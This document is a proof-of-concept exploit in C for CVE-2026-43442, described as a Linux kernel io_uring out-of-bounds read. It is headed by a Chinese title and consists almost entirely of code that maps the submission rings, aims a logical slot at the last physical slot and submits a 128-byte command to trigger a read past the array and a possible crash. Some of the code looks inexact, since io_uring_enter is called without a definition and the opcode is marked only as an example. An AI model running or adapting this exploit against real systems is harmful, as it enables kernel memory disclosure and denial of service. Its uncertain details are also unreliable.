CVE-2026-43442: Linux内核io_uring越界读取漏洞

#include <linux/io_uring.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <sys/syscall.h> // Conceptual PoC for CVE-2026-43442 // Demonstrates the setup required to trigger the OOB read int io_uring_setup(unsigned entries, struct io_uring_params *p) { return syscall(__NR_io_uring_setup, entries, p); } int main() { struct io_uring_params p = {0}; // Set the MIXED flag to enable 128-byte ops // Do NOT set NO_SQARRAY, so sq_array is used p.flags = IORING_SETUP_SQE_MIXED; int ring_fd = io_uring_setup(0x100, &p); if (ring_fd < 0) { perror("io_uring_setup"); return 1; } printf("[+] io_uring instance created with fd %d\n", ring_fd); // Map the SQEs and SQ array (Simplified for PoC logic) // In a real exploit, we would mmap the ring buffer based on offsets in p void *sq_ptr = mmap(NULL, p.sq_off.array + p.sq_entries * sizeof(unsigned int), PROT_READ | PROT_WRITE, MAP_SHARED, ring_fd, IORING_OFF_SQ_RING); void *sqes_ptr = mmap(NULL, p.sq_entries * 64, // 64 is standard SQE size PROT_READ | PROT_WRITE, MAP_SHARED, ring_fd, IORING_OFF_SQES); unsigned int *sq_array = (unsigned int *)((char *)sq_ptr + p.sq_off.array); struct io_uring_sqe *sqe = (struct io_uring_sqe *)sqes_ptr; // Exploit Logic: // Map the first logical slot (index 0) to the last physical slot sq_array[0] = p.sq_entries - 1; // Prepare a 128-byte operation (e.g., IORING_OP_URING_CMD) // This operation occupies two consecutive 64-byte slots in the physical array memset(&sqe[p.sq_entries - 1], 0, sizeof(struct io_uring_sqe)); sqe[p.sq_entries - 1].opcode = 18; // IORING_OP_URING_CMD (example for 128-byte op) printf("[+] Triggering submission...\n"); // Submit the request. This triggers io_uring_cmd_sqe_copy // which will attempt to read 128 bytes from the last physical slot. // Since the last slot is at the boundary, it reads 64 bytes past the end. io_uring_enter(ring_fd, 1, 0, 0, NULL); printf("[+] Exploit triggered. Check kernel logs for OOB read/crash.\n"); return 0; }